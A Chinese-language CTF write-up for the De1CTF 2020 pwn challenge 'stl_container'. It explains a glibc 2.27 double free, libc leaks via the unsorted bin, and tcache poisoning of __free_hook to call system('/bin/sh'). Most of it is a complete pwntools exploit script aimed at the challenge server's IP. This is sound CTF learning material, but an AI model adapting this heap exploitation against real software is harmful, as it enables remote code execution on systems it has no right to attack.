0%

de1ctf_2020的wp/复现(pwn部分)

de1ta真的太难了,👴只会一个pwn签到,其他嗯是没个阳间题目,两个mips,一个andriod,还有一个mc。但👴连mips环境都装不上,属实难顶。
这pwn怎,👴陷思,气冷抖。

stl_container

不要跟👴提什么ida f5逆向,黑盒测试一把梭就完事。(c艹实在顶不住)
这题2.27,测试出有double free。比较坑的是泄露基址会清空,所以👴选择直接加到unsorted上,把unsorted bins直接玩坏了,成功泄露出了libc,接下来就是常规的tcache的double free利用+打free hook来getshell了。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p=process('./stl_container')
p=remote('134.175.239.26',8848)
elf=ELF('./stl_container')
'''
1. list
2. vector
3. queue
4. stack
'''
def add(typ,content):
p.recvuntil('>> ')
p.sendline(str(typ))
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('input data:')
p.send(content)
p.recvuntil('done!')

def free(typ,idx=0):
p.recvuntil('>> ')
p.sendline(str(typ))
p.recvuntil('>> ')
p.sendline('2')
if typ <=2:
p.recvuntil('index?')
p.sendline(str(idx))
p.recvuntil('done!')
def show(typ,idx):
p.recvuntil('>> ')
p.sendline(str(typ))
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('index?')
p.sendline(str(idx))
p.recvuntil('data: ')
#heap base
add(1,'list0')
free(1,0)
add(1,'0')
show(1,0)
heap_base=u64(p.recv(6).ljust(8,'\x00'))-0x12430
print(hex(heap_base))
free(1,0)
#p.interactive()
#gdb.attach(p)
#pause()


#0x207050 vector
#0x206f80 malloc
add(1,'list0')
add(1,'list1')
add(2,'vector0')
add(2,'vector1')
add(3,'queue0')
add(3,'queue1')
add(4,'stack0')
add(4,'stack1')
#here double free
free(1,0)
free(2,0)
free(1,0)
free(2,0)
free(3) #here
free(4) #here
free(3) #here
free(4) #here

add(3,'list0')
#add(1,p64(heap_base+0x18))
add(2,p64(heap_base+0x12870))
#gdb.attach(p)
#pause()

add(4,'aa')#0
#payload=p64(0)+p64(0)
#0x5583ea5d7870-0x5583ea5c5000=0x12870
#0x5583ea5c5000
add(4,'aa')#1
add(3,'\xa0')#1
#show(3,0)
add(1,'\xa0')
show(1,0)
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x60-0x10-0x3ebc30
print(hex(libc_base))
#p.interactive()
#0x5583ea5c5000
system=libc_base+0x4f440
free_hook=libc_base+0x3ed8e8
#free(1,0)
free(2,0)
free(3) #here
free(4) #here
free(3) #here
free(4) #here

add(4,p64(free_hook))
add(3,'/bin/sh\x00')
add(3,'/bin/sh\x00')
add(4,p64(system))
#free(1)
p.sendline('3')
p.sendline('2')
p.interactive()
好饿啊,早知道不学安全了